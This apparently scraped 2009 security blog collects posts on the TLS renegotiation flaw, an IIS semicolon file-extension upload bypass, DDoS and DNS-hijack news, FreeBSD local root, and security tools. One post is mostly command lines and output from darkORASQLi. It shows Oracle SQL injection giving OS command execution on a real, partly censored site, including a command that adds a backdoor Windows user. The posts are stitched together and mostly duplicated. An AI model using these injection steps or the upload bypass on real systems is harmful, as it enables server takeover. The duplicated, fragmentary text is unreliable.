Information about a vulnerability in the TLS protocol was published in the beginning of November 2009. Attackers can take advantage of that vulnerability to inject arbitrary prefixes into a network connection protected by TLS. This can result in severe vulnerabilities, depending on the application layer protocol used over TLS.
RedTeam Pentesting used the External linkPython module External linkTLS Lite to develop proof of concept code that exploits this vulnerability. It is published here to raise awareness for the vulnerability and its potential impact. Furthermore, it shall give interested persons the opportunity to analyse applications employing TLS for further vulnerabilities.
For information details, here.
For POC Exploit, please click here.
Friday, December 25, 2009
Thursday, December 24, 2009
Microsoft IIS File Parsing Extension Vulnerability
A vulnerability has been identified in Microsoft Internet Information Services (IIS) where the server in incorrectly handling files with multiple extensions separated by the ";" character such as "malicious.asp;.jpg" as an ASP file. This could allow attackers to upload malicious executables on a vulnerable web server, bypassing file extension protections and restrictions. This vulnerability does not work with ASP.Net.
Finding Date: April 2008
Report Date: Dec. 2009
Found by: Soroush Dalili (Irsdl {4t] yahoo [d0t} com)
Website: Soroush.SecProject.com
Weblog: Soroush.SecProject.com/blog/
Thanks From: Mr. Ali Abbas Nejad, Mormoroth, Aria‐Security Team, and other ethical hackers.
Vulnerability/Risk Description:
IIS can execute any extension as an Active Server Page or any other executable extension. For instance “malicious.asp;.jpg” is executed as an ASP file on the server. Many file uploaders protect the system by checking only the last section of the filename as its extension. And by using this vulnerability, an attacker can bypass this protection and upload a dangerous executable file on the server.
Impact Description:
Impact of this vulnerability is absolutely high as an attacker can bypass file extension protections by using a semi‐colon after an executable extension such as “.asp”, “.cer”, “.asa”, and so on.Many web applications are vulnerable against file uploading attacks because of this weakness of IIS. In a measurement which was performed in summer 2008 on some of the famous web applications, 70 percent of the secure file uploaders were bypassed by using this vulnerability.
Method of Finding:
Simple fuzzer by using ASP language itself.
More Details:
In case of having the “malicious.asp;.jpg”, web applications consider it as a JPEG file and IIS consider it as an ASP file and pass it to “asp.dll”. This bug does not work with ASP.Net as the .Net technology cannot recognize “malicious.aspx;.jpg” as a .Net file and shows a “page not found” error.
Besides using semi‐colon, “:” can be used to make an empty file with any arbitrary extension. For example by uploading “test.asp:.jpg”, an empty ASP file ‐ “test.asp” ‐ would be created on the server on an NTFS partition. This is only because of “NTFS Alternate Data Streams” and it is completely different from the semi‐colon vulnerability.
More details about this vulnerability here.
Finding Date: April 2008
Report Date: Dec. 2009
Found by: Soroush Dalili (Irsdl {4t] yahoo [d0t} com)
Website: Soroush.SecProject.com
Weblog: Soroush.SecProject.com/blog/
Thanks From: Mr. Ali Abbas Nejad, Mormoroth, Aria‐Security Team, and other ethical hackers.
Vulnerability/Risk Description:
IIS can execute any extension as an Active Server Page or any other executable extension. For instance “malicious.asp;.jpg” is executed as an ASP file on the server. Many file uploaders protect the system by checking only the last section of the filename as its extension. And by using this vulnerability, an attacker can bypass this protection and upload a dangerous executable file on the server.
Impact Description:
Impact of this vulnerability is absolutely high as an attacker can bypass file extension protections by using a semi‐colon after an executable extension such as “.asp”, “.cer”, “.asa”, and so on.Many web applications are vulnerable against file uploading attacks because of this weakness of IIS. In a measurement which was performed in summer 2008 on some of the famous web applications, 70 percent of the secure file uploaders were bypassed by using this vulnerability.
Method of Finding:
Simple fuzzer by using ASP language itself.
More Details:
In case of having the “malicious.asp;.jpg”, web applications consider it as a JPEG file and IIS consider it as an ASP file and pass it to “asp.dll”. This bug does not work with ASP.Net as the .Net technology cannot recognize “malicious.aspx;.jpg” as a .Net file and shows a “page not found” error.
Besides using semi‐colon, “:” can be used to make an empty file with any arbitrary extension. For example by uploading “test.asp:.jpg”, an empty ASP file ‐ “test.asp” ‐ would be created on the server on an NTFS partition. This is only because of “NTFS Alternate Data Streams” and it is completely different from the semi‐colon vulnerability.
More details about this vulnerability here.
DDoS attack scrooges Amazon and others
Service to Amazon, Wal-Mart and several other shopping sites was briefly blocked on Wednesday evening when their DNS provider was hit by a distributed denial of service (DDoS) attack.
Neustar, which provides DNS services to high profile website addresses under the UltraDNS brand, said the flood of malicious traffic, just two days before Christmas, was directed at the company's facilities in San Jose and Palo Alto, and that the effects were mostly limited to California users.
The websites were only down for about an hour — but needless to say at a very inopportune time for some. Neustar said that it first detected the trouble around 4:45 p.m. Pacific Time (12:45 AM Thursday, GMT).
Folks attempting last-minute shopping at Amazon, Wal-Mart, the Gap, and the travel site Expedia were ankled by outages and slow web browsing as a result of the DDoS attack. Other websites impacted include Salesforce.com and Linden Labs (maker of the game Second Life). In a message posted on Twitter, Jeff Barr of Amazon Web Services wrote that the retailer's outages were mostly in the US West Coast, and took down S3 and EC2 — as well as Amazon.com in "many places."
"We analyzed the patterns and were able to put mitigation measures in place within minutes of identifying the attack," NeuStar said in an emailed statement. "We had everything under control in well under an hour. The attack was limited to Northern California internet users. All along the way we were proactively communicating to our customers to let them know exactly what was happening and the steps we were taking."
This isn't the first time UltraDNS and its clients have been downed by DDoS attacks. In April, a larger DDoS attack took Amazon, SalesForce, Oracle and Juniper offline for several hours. Although more limited, Wednesday's malicious torrent of web traffic will insure that someone gets coal in their stocking. ®
This article is taken from http://www.theregister.co.uk/2009/12/24/ddos_attack_ultradns_december_09/
Neustar, which provides DNS services to high profile website addresses under the UltraDNS brand, said the flood of malicious traffic, just two days before Christmas, was directed at the company's facilities in San Jose and Palo Alto, and that the effects were mostly limited to California users.
The websites were only down for about an hour — but needless to say at a very inopportune time for some. Neustar said that it first detected the trouble around 4:45 p.m. Pacific Time (12:45 AM Thursday, GMT).
Folks attempting last-minute shopping at Amazon, Wal-Mart, the Gap, and the travel site Expedia were ankled by outages and slow web browsing as a result of the DDoS attack. Other websites impacted include Salesforce.com and Linden Labs (maker of the game Second Life). In a message posted on Twitter, Jeff Barr of Amazon Web Services wrote that the retailer's outages were mostly in the US West Coast, and took down S3 and EC2 — as well as Amazon.com in "many places."
"We analyzed the patterns and were able to put mitigation measures in place within minutes of identifying the attack," NeuStar said in an emailed statement. "We had everything under control in well under an hour. The attack was limited to Northern California internet users. All along the way we were proactively communicating to our customers to let them know exactly what was happening and the steps we were taking."
This isn't the first time UltraDNS and its clients have been downed by DDoS attacks. In April, a larger DDoS attack took Amazon, SalesForce, Oracle and Juniper offline for several hours. Although more limited, Wednesday's malicious torrent of web traffic will insure that someone gets coal in their stocking. ®
This article is taken from http://www.theregister.co.uk/2009/12/24/ddos_attack_ultradns_december_09/
Sunday, December 20, 2009
Twitter investigates DNS hijack
Twitter, the popular micro-blogging network, welcomed visitors on Thursday night with a page claiming that the site had been hacked by a defacers with links to Iran.
In reality, the company's domain name had been hijacked by the vandals and visitors redirected to an unrelated site hosting the page. Passive domain-name service (DNS) records showed the DNS poisoning, as Twitter's record pointed first to two domains registered in Moldova and then to a domain registered to an undisclosed person in Pompano Beach, Florida, according to information posted by the SANS Internet Storm Center.
Twitter acknowledged the issue late last night, following earlier media reports.
"Twitter’s DNS records were temporarily compromised but have now been fixed," the site administrators' wrote at 11:28 p.m. PT. "We are looking into the underlying cause and will update with more information soon."
The popularity of the social networking service has made it a target of hackers and a focus of security researchers this year. In August, a botnet targeted both Twitter and Facebook with a distributed denial-of-service attack. The micro-blogging service has also had to contend with the spreading of worms, the exploitation of a security vulnerability, and the use of its network as a command-and-control channel.
Thursday's defacement claimed to be done by the "Iranian Cyber Army," but another message -- translated from Farsi by Google's automated translation engine -- reportedly claimed the attack was motivated by the U.S. and Twitter's interference in "my country," suggesting the attacker was an individual.
From: SecurityFocus
In reality, the company's domain name had been hijacked by the vandals and visitors redirected to an unrelated site hosting the page. Passive domain-name service (DNS) records showed the DNS poisoning, as Twitter's record pointed first to two domains registered in Moldova and then to a domain registered to an undisclosed person in Pompano Beach, Florida, according to information posted by the SANS Internet Storm Center.
Twitter acknowledged the issue late last night, following earlier media reports.
"Twitter’s DNS records were temporarily compromised but have now been fixed," the site administrators' wrote at 11:28 p.m. PT. "We are looking into the underlying cause and will update with more information soon."
The popularity of the social networking service has made it a target of hackers and a focus of security researchers this year. In August, a botnet targeted both Twitter and Facebook with a distributed denial-of-service attack. The micro-blogging service has also had to contend with the spreading of worms, the exploitation of a security vulnerability, and the use of its network as a command-and-control channel.
Thursday's defacement claimed to be done by the "Iranian Cyber Army," but another message -- translated from Farsi by Google's automated translation engine -- reportedly claimed the attack was motivated by the U.S. and Twitter's interference in "my country," suggesting the attacker was an individual.
From: SecurityFocus
Friday, December 04, 2009
Using msfpayload and msfencode from Metasploit 3.3 to bypass anti-virus
This subject has been covered before, but why not once more? Metasploit 3.3 adds some new options, and better Windows support. As stated in the title, this video will cover using msfpayload and msfencode from Metasploit 3.3 to bypass anti-virus. I will also talk a little about using CWSandbox and VirusTotal to examine malware.
If you find this video useful, consider going to the Metasploit Unleashed page and donating to the Hackers For Charity Kenya food for work program, or come to the IndySec charity event.
By the way, I've put out two versions of this video, one an SWF and the other a streaming video. Please let me know which you prefer.
To see this video, please refer to this link:
http://www.irongeek.com/i.php?page=videos%2Fmsfpayload-msfencoder-metasploit-3-3
If you find this video useful, consider going to the Metasploit Unleashed page and donating to the Hackers For Charity Kenya food for work program, or come to the IndySec charity event.
By the way, I've put out two versions of this video, one an SWF and the other a streaming video. Please let me know which you prefer.
To see this video, please refer to this link:
http://www.irongeek.com/i.php?page=videos%2Fmsfpayload-msfencoder-metasploit-3-3
GreenSQL- Free database firewall protects PostgreSQL and MySQL
GreenSQL is an Open Source database firewall used to protect databases from SQL injection attacks. GreenSQL works as a proxy for SQL commands and has built in support for MySQL & PostgreSQL . The logic is based on evaluation of SQL commands using a risk scoring matrix as well as blocking known db administrative commands (DROP, CREATE, etc). GreenSQL is distributed under the GPL license.
You can download it here
GreenSQL works as a reverse proxy for MySQL connections. This means, that instead of connecting TO THE MySQL server, your applications will connect to THE GreenSQL server. GreenSQL will analyze SQL queries and then, if they're safe, will forward them to the back-end MySQL server.
The following picture describes the whole process:
As you can see, GreenSQL calls the real database server to execute SQL commands and the web application connects to the GreenSQL server as if it were a real database server.
GreenSQL can be installed together with the database server on the same computer or it can use a distinct server. By default GreenSQL listens on local port 127.0.0.1:3305 redirecting SQL requests to 127.0.0.1:3306 (the default MySQL setting). These settings can be altered using the GreenSQL Console.
For more details, please refer to GreenSQL website:
http://www.greensql.net/about
You can download it here
GreenSQL works as a reverse proxy for MySQL connections. This means, that instead of connecting TO THE MySQL server, your applications will connect to THE GreenSQL server. GreenSQL will analyze SQL queries and then, if they're safe, will forward them to the back-end MySQL server.
The following picture describes the whole process:
As you can see, GreenSQL calls the real database server to execute SQL commands and the web application connects to the GreenSQL server as if it were a real database server.
GreenSQL can be installed together with the database server on the same computer or it can use a distinct server. By default GreenSQL listens on local port 127.0.0.1:3305 redirecting SQL requests to 127.0.0.1:3306 (the default MySQL setting). These settings can be altered using the GreenSQL Console.
For more details, please refer to GreenSQL website:
http://www.greensql.net/about
FreeBSD 8.0/7.1 local root issue
There is a new local root bug in FreeBSD.This bug discovered & exploited by Nikolaos Rangos also known as KingcopeThere is an unbelievable simple local r00t bug in recent FreeBSD versions.
The bug resides in the Run-Time Link-Editor (rtld).
Normally rtld does not allow dangerous environment variables like
LD_PRELOAD
to be set when executing setugid binaries like "ping" or "su".
With a rather simple technique rtld can be tricked into
accepting LD variables even on setugid binaries.
Please read this advisory for more details:
http://securityreason.com/securityalert/6799
The bug resides in the Run-Time Link-Editor (rtld).
Normally rtld does not allow dangerous environment variables like
LD_PRELOAD
to be set when executing setugid binaries like "ping" or "su".
With a rather simple technique rtld can be tricked into
accepting LD variables even on setugid binaries.
Please read this advisory for more details:
http://securityreason.com/securityalert/6799
Tuesday, December 01, 2009
FreeBSD 8.0-RELEASE
The FreeBSD Release Engineering Team is pleased to announce the availability of FreeBSD 8.0-RELEASE. This release starts off the new 8-STABLE branch which improves on the functionality of FreeBSD 7.X and introduces many new features. Some of the highlights:
-Xen Dom-U, VirtualBox guest and host, hierarchical jails.
-NFSv3 GSSAPI support, experimental NFSv4 client and server.
-802.11s D3.03 wireless mesh networking and Virtual Access Point support.
-ZFS is no longer in experimental status.
-Ground-up rewrite of USB, including USB target support.
-Continued SMP scalability improvements in many areas, especially VFS.
-Revised network link layer subsystem.
-Experimental MIPS architecture support.
Please read here for more details:
http://www.freebsd.org/releases/8.0R/announce.html
-Xen Dom-U, VirtualBox guest and host, hierarchical jails.
-NFSv3 GSSAPI support, experimental NFSv4 client and server.
-802.11s D3.03 wireless mesh networking and Virtual Access Point support.
-ZFS is no longer in experimental status.
-Ground-up rewrite of USB, including USB target support.
-Continued SMP scalability improvements in many areas, especially VFS.
-Revised network link layer subsystem.
-Experimental MIPS architecture support.
Please read here for more details:
http://www.freebsd.org/releases/8.0R/announce.html
Sunday, November 29, 2009
Multi Purpose Oracle SQL Injection Tool with darkORASQLi.py
After successfully developed POSTGRESQL injection tool,darkc0de will release new tool for Oracle SQL injection. If you ever heard about darkMYSQLi, darkMSSQLi, or darkPGSQLi, i think this tool is useful for you all especially penetration testers or security consultants. This tool 80% working and will be released later.
angryleopard:darkc0de d3ck4$ python darkORASQLi.py -u "https://[somevulnsite]/detail.jsp?id=1001039735'" --pwn
|-------------------------------------------------|
| d3ck4, hacking.expose@gmail.com v1.0 |
| |
| 05/2009 darkORASQLi.py |
| -- Multi Purpose Oracle SQL Injection Tool -- |
| Usage: darkORASQLi.py [options] |
| -h help hackingexpose.blogspot.com |
| |
| credit: rsauron, d3hydr8 [at] www.darkc0de.com |
|-------------------------------------------------|
[+] URL: https://[somevulnsite]/detail.jsp?id=1001039735'
[+] 10:47:52
[+] Evasion: + --
[+] Cookie: None
[+] SSL: Yes
[+] Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
[-] Proxy Not Given
[+] Gathering Oracle Server Configuration...
Database: [censored].WORLD
User: [censored]
Version: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bi
[+] This mode is taking advantage of DBMS_EXPORT_EXTENSION vulnerability to run OS command
[+] Sending our ^EVIL^ payloads:
[+] Stage 1: Creating Java Library [ OK ]
[+] Stage 2: Granting Java Execute Privileges [ OK ]
[+] Stage 3: Creating Function for Command Execution [ OK ]
[+] Stage 3: Making Function Executable by All Users [ OK ]
[+] If all OK you should now can exec command with --cmd option
[+] Example:
[+] Windows
[+] --cmd "cmd.exe /c net user d3ck4 d4rkc0d3rz /add"
[+] UNIX/Linux
[+] --cmd "/bin/uname -a"
--cmd "/bin/uname -a"
angryleopard:darkc0de d3ck4$ python darkORASQLi.py -u "https://[censored]/detail.jsp?id=1001039735'" --cmd "/bin/uname -a"
|-------------------------------------------------|
| d3ck4, hacking.expose@gmail.com v1.0 |
| |
| 05/2009 darkORASQLi.py |
| -- Multi Purpose Oracle SQL Injection Tool -- |
| Usage: darkORASQLi.py [options] |
| -h help hackingexpose.blogspot.com |
| |
| credit: rsauron, d3hydr8 [at] www.darkc0de.com |
|-------------------------------------------------|
[+] URL: https://[censored]/detail.jsp?id=1001039735'
[+] 10:46:54
[+] Evasion: + --
[+] Cookie: None
[+] SSL: Yes
[+] Agent: Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)
[-] Proxy Not Given
[+] Gathering Oracle Server Configuration...
Database: [censored]
User: [censored]
Version: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bi
[+] Do we have Access to Oracle Database: NO
[-] Oracle user:password enumeration has been skipped!
[-] We do not have access to Oracle DB on this target!
[+] Executing OS command from the server
[+] Number of Command Lines: 1
$ /bin/uname -a
Linux asahan 2.6.9-22.ELsmp #1 SMP Mon Sep 19 18:00:54 EDT 2005 x86_64 x86_64 x86_64 GNU/Linux
[-] 10:46:55
[-] Total URL Requests: 5
[-] Done
Don't forget to check darkORASQLi.log
--cmd "/sbin/ifconfig"
angryleopard:darkc0de d3ck4$ python darkORASQLi.py -u "https://[censored]/detail.jsp?id=1001039735'" --cmd "/sbin/ifconfig"
|-------------------------------------------------|
| d3ck4, hacking.expose@gmail.com v1.0 |
| |
| 05/2009 darkORASQLi.py |
| -- Multi Purpose Oracle SQL Injection Tool -- |
| Usage: darkORASQLi.py [options] |
| -h help hackingexpose.blogspot.com |
| |
| credit: rsauron, d3hydr8 [at] www.darkc0de.com |
|-------------------------------------------------|
[+] URL: https://[censored]/detail.jsp?id=1001039735'
[+] 10:33:57
[+] Evasion: + --
[+] Cookie: None
[+] SSL: Yes
[+] Agent: Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)
[-] Proxy Not Given
[+] Gathering Oracle Server Configuration...
Database: [censored]
User: [censored]
Version: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bi
[+] Do we have Access to Oracle Database: NO
[-] Oracle user:password enumeration has been skipped!
[-] We do not have access to Oracle DB on this target!
[+] Executing OS command from the server
[+] Number of Command Lines: 1
$ /sbin/ifconfig
eth0 Link encap:Ethernet HWaddr 00:11:25:C4:DD:DC
inet addr:10.100.88.31 Bcast:10.100.88.255 Mask:255.255.255.0
inet6 addr: 2001:e68:2000:6458:211:25ff:fec4:dddc/64 Scope:Global
inet6 addr: fe80::211:25ff:fec4:dddc/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:351166911 errors:0 dropped:0 overruns:0 frame:0
TX packets:393842969 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:63516816827 (59.1 GiB) TX bytes:231324821682 (215.4 GiB)
Interrupt:201
eth1 Link encap:Ethernet HWaddr 00:11:25:C4:DD:DD
inet6 addr: fe80::211:25ff:fec4:dddd/64 Scope:Link
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Interrupt:209
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:948943 errors:0 dropped:0 overruns:0 frame:0
TX packets:948943 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:93467115 (89.1 MiB) TX bytes:93467115 (89.1 MiB)
[-] 10:34:04
[-] Total URL Requests: 5
[-] Done
Don't forget to check darkORASQLi.log
20% to go.. till then, keep r0x darkc0de!
angryleopard:darkc0de d3ck4$ python darkORASQLi.py -u "https://[somevulnsite]/detail.jsp?id=1001039735'" --pwn
|-------------------------------------------------|
| d3ck4, hacking.expose@gmail.com v1.0 |
| |
| 05/2009 darkORASQLi.py |
| -- Multi Purpose Oracle SQL Injection Tool -- |
| Usage: darkORASQLi.py [options] |
| -h help hackingexpose.blogspot.com |
| |
| credit: rsauron, d3hydr8 [at] www.darkc0de.com |
|-------------------------------------------------|
[+] URL: https://[somevulnsite]/detail.jsp?id=1001039735'
[+] 10:47:52
[+] Evasion: + --
[+] Cookie: None
[+] SSL: Yes
[+] Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
[-] Proxy Not Given
[+] Gathering Oracle Server Configuration...
Database: [censored].WORLD
User: [censored]
Version: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bi
[+] This mode is taking advantage of DBMS_EXPORT_EXTENSION vulnerability to run OS command
[+] Sending our ^EVIL^ payloads:
[+] Stage 1: Creating Java Library [ OK ]
[+] Stage 2: Granting Java Execute Privileges [ OK ]
[+] Stage 3: Creating Function for Command Execution [ OK ]
[+] Stage 3: Making Function Executable by All Users [ OK ]
[+] If all OK you should now can exec command with --cmd option
[+] Example:
[+] Windows
[+] --cmd "cmd.exe /c net user d3ck4 d4rkc0d3rz /add"
[+] UNIX/Linux
[+] --cmd "/bin/uname -a"
--cmd "/bin/uname -a"
angryleopard:darkc0de d3ck4$ python darkORASQLi.py -u "https://[censored]/detail.jsp?id=1001039735'" --cmd "/bin/uname -a"
|-------------------------------------------------|
| d3ck4, hacking.expose@gmail.com v1.0 |
| |
| 05/2009 darkORASQLi.py |
| -- Multi Purpose Oracle SQL Injection Tool -- |
| Usage: darkORASQLi.py [options] |
| -h help hackingexpose.blogspot.com |
| |
| credit: rsauron, d3hydr8 [at] www.darkc0de.com |
|-------------------------------------------------|
[+] URL: https://[censored]/detail.jsp?id=1001039735'
[+] 10:46:54
[+] Evasion: + --
[+] Cookie: None
[+] SSL: Yes
[+] Agent: Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)
[-] Proxy Not Given
[+] Gathering Oracle Server Configuration...
Database: [censored]
User: [censored]
Version: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bi
[+] Do we have Access to Oracle Database: NO
[-] Oracle user:password enumeration has been skipped!
[-] We do not have access to Oracle DB on this target!
[+] Executing OS command from the server
[+] Number of Command Lines: 1
$ /bin/uname -a
Linux asahan 2.6.9-22.ELsmp #1 SMP Mon Sep 19 18:00:54 EDT 2005 x86_64 x86_64 x86_64 GNU/Linux
[-] 10:46:55
[-] Total URL Requests: 5
[-] Done
Don't forget to check darkORASQLi.log
--cmd "/sbin/ifconfig"
angryleopard:darkc0de d3ck4$ python darkORASQLi.py -u "https://[censored]/detail.jsp?id=1001039735'" --cmd "/sbin/ifconfig"
|-------------------------------------------------|
| d3ck4, hacking.expose@gmail.com v1.0 |
| |
| 05/2009 darkORASQLi.py |
| -- Multi Purpose Oracle SQL Injection Tool -- |
| Usage: darkORASQLi.py [options] |
| -h help hackingexpose.blogspot.com |
| |
| credit: rsauron, d3hydr8 [at] www.darkc0de.com |
|-------------------------------------------------|
[+] URL: https://[censored]/detail.jsp?id=1001039735'
[+] 10:33:57
[+] Evasion: + --
[+] Cookie: None
[+] SSL: Yes
[+] Agent: Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)
[-] Proxy Not Given
[+] Gathering Oracle Server Configuration...
Database: [censored]
User: [censored]
Version: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bi
[+] Do we have Access to Oracle Database: NO
[-] Oracle user:password enumeration has been skipped!
[-] We do not have access to Oracle DB on this target!
[+] Executing OS command from the server
[+] Number of Command Lines: 1
$ /sbin/ifconfig
eth0 Link encap:Ethernet HWaddr 00:11:25:C4:DD:DC
inet addr:10.100.88.31 Bcast:10.100.88.255 Mask:255.255.255.0
inet6 addr: 2001:e68:2000:6458:211:25ff:fec4:dddc/64 Scope:Global
inet6 addr: fe80::211:25ff:fec4:dddc/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:351166911 errors:0 dropped:0 overruns:0 frame:0
TX packets:393842969 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:63516816827 (59.1 GiB) TX bytes:231324821682 (215.4 GiB)
Interrupt:201
eth1 Link encap:Ethernet HWaddr 00:11:25:C4:DD:DD
inet6 addr: fe80::211:25ff:fec4:dddd/64 Scope:Link
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Interrupt:209
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:948943 errors:0 dropped:0 overruns:0 frame:0
TX packets:948943 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:93467115 (89.1 MiB) TX bytes:93467115 (89.1 MiB)
[-] 10:34:04
[-] Total URL Requests: 5
[-] Done
Don't forget to check darkORASQLi.log
20% to go.. till then, keep r0x darkc0de!
Strong Password
To protect your computer, your data and your online accounts, you should have a strong password. If your password is weak, you make it easier for someone to break in. Hackers make their livelihood by automating ways to continually search out the weakest link to gain access to a network or computer.
Please read this link for Password Security Awareness:
http://www.microsoft.com/protect/fraud/passwords/create.aspx
http://www.utexas.edu/its/secure/articles/keep_safe_with_strong_passwords.php
To check the strength of your password, you can use Password Checker:
http://www.microsoft.com/protect/fraud/passwords/checker.aspx
Please read this link for Password Security Awareness:
http://www.microsoft.com/protect/fraud/passwords/create.aspx
http://www.utexas.edu/its/secure/articles/keep_safe_with_strong_passwords.php
To check the strength of your password, you can use Password Checker:
http://www.microsoft.com/protect/fraud/passwords/checker.aspx
Symantec Online Store Hacked
A self-proclaimed grey-hat hacker has located a critical SQL injection vulnerability in a website belonging to security giant Symantec. The flaw can be leveraged to extract a wealth of information from the database including customer and admin login credentials, product serial numbers, and possibly credit card information.
The flaw was found by a Romanian hacker going by the online handle of Unu, according to whom an insecure parameter of a script from the pcd.symantec.com website, allows for a blind SQL injection (SQLi) attack to be performed. In such an attack, the hacker obtains read and/or write permission to the underlying database of the vulnerable website.
During a regular SQLi attack, the result of a rogue SQL query is displayed inside the browser instead of the normal web page output. Meanwhile, in a blind SQL injection, the query executes, but the website continues to display normally, making it much more difficult to extract information.
Please read here for more details:
http://news.softpedia.com/news/Symantec-Online-Store-Hacked-127726.shtml
The flaw was found by a Romanian hacker going by the online handle of Unu, according to whom an insecure parameter of a script from the pcd.symantec.com website, allows for a blind SQL injection (SQLi) attack to be performed. In such an attack, the hacker obtains read and/or write permission to the underlying database of the vulnerable website.
During a regular SQLi attack, the result of a rogue SQL query is displayed inside the browser instead of the normal web page output. Meanwhile, in a blind SQL injection, the query executes, but the website continues to display normally, making it much more difficult to extract information.
Please read here for more details:
http://news.softpedia.com/news/Symantec-Online-Store-Hacked-127726.shtml
Friday, November 13, 2009
Opinion: Can the SSL vulnerability hurt you?
ComputerWorld Security:
The security blogosphere is agog over some recently published vulnerability information describing attacks against the venerable SSL protocol -- you know, the one that almost the entire Internet relies on for securing transactions as they transit the Net. But how does this impact you? Let's try to separate the wheat from the chaff.
Let's start by looking at the vulnerability itself. It is a "man-in-the-middle" (MitM) attack in which an attacker can use an SSL feature called "negotiation" to inject bad stuff into an SSL session. Right, so that's not good news. But the sky isn't exactly falling yet, so we can all remain calm for now. Let's put things into perspective here.
Yes, by all accounts, there seems to be a serious weakness in SSL. As of right now, however, that weakness is known to a relatively small collection of folks who are working to come up with some solutions to the problem. That said, the technical details of the problem have been published, and there's little doubt that attacks will begin to surface over time.
More info, please read here.
The security blogosphere is agog over some recently published vulnerability information describing attacks against the venerable SSL protocol -- you know, the one that almost the entire Internet relies on for securing transactions as they transit the Net. But how does this impact you? Let's try to separate the wheat from the chaff.
Let's start by looking at the vulnerability itself. It is a "man-in-the-middle" (MitM) attack in which an attacker can use an SSL feature called "negotiation" to inject bad stuff into an SSL session. Right, so that's not good news. But the sky isn't exactly falling yet, so we can all remain calm for now. Let's put things into perspective here.
Yes, by all accounts, there seems to be a serious weakness in SSL. As of right now, however, that weakness is known to a relatively small collection of folks who are working to come up with some solutions to the problem. That said, the technical details of the problem have been published, and there's little doubt that attacks will begin to surface over time.
More info, please read here.
Windows 7 / Server 2008R2 Remote Kernel Crash
This bug is a real proof that SDL #FAIL
The bug trigger an infinite loop on smb{1,2}, pre-auth, no credential needed...
Can be trigered outside the lan via (IE*)
The bug is so noob, it should have been spotted 2 years ago by the SDL if the SDL had ever existed:
See: http://g-laurent.blogspot.com/2009/11/windows-7-server-2008r2-remote-kernel.html
The bug trigger an infinite loop on smb{1,2}, pre-auth, no credential needed...
Can be trigered outside the lan via (IE*)
The bug is so noob, it should have been spotted 2 years ago by the SDL if the SDL had ever existed:
See: http://g-laurent.blogspot.com/2009/11/windows-7-server-2008r2-remote-kernel.html
Saturday, November 07, 2009
Facebook and Myspace bolt Flash backdoors
Web developer Yvo Schaap has discovered that Facebook and Myspace have been being overgenerous in assigning privileges for Flash applications, allowing Schaap's Flash application to access another user's entire Facebook data.
Flash applications are only normally able to access resources on the server from which they have been loaded. In order to allow developers to design applications with more flexibility, Abode has, however, introduced the option of explicitly granting access to other servers. This is achieved by means of the crossdomain.xml file in a web server's root folder. Facebook had used this to grant the right to access the main domain to trusted sites via instructions such as:
More information:
http://www.h-online.com/security/news/item/Facebook-and-Myspace-bolt-Flash-backdoors-852318.html
Flash applications are only normally able to access resources on the server from which they have been loaded. In order to allow developers to design applications with more flexibility, Abode has, however, introduced the option of explicitly granting access to other servers. This is achieved by means of the crossdomain.xml file in a web server's root folder. Facebook had used this to grant the right to access the main domain to trusted sites via instructions such as:
More information:
http://www.h-online.com/security/news/item/Facebook-and-Myspace-bolt-Flash-backdoors-852318.html
Saturday, October 31, 2009
Wapiti -Web application vulnerability scanner
Wapiti allows you to audit the security of your web applications.
It performs "black-box" scans, i.e. it does not study the source code of the application but will scans the webpages of the deployed webapp, looking for scripts and forms where it can inject data.
Once it gets this list, Wapiti acts like a fuzzer, injecting payloads to see if a script is vulnerable.
Wapiti can detect the following vulnerabilities :
* File Handling Errors (Local and remote include/require, fopen, readfile...)
* Database Injection (PHP/JSP/ASP SQL Injections and XPath Injections)
* XSS (Cross Site Scripting) Injection
* LDAP Injection
* Command Execution detection (eval(), system(), passtru()...)
* CRLF Injection (HTTP Response Splitting, session fixation...)
Wapiti is able to differentiate ponctual and permanent XSS vulnerabilities.
Wapiti prints a warning everytime it founds a script allowing HTTP uploads.
A warning is also issued when a HTTP 500 code is returned (useful for ASP/IIS)
Wapiti does not rely on a vulnerability database like Nikto do. Wapiti aims to discover unknown vulnerabilities in web applications.
It does not provide a GUI for the moment and you must use it from a terminal.
You can download here:
http://sourceforge.net/projects/wapiti/
It performs "black-box" scans, i.e. it does not study the source code of the application but will scans the webpages of the deployed webapp, looking for scripts and forms where it can inject data.
Once it gets this list, Wapiti acts like a fuzzer, injecting payloads to see if a script is vulnerable.
Wapiti can detect the following vulnerabilities :
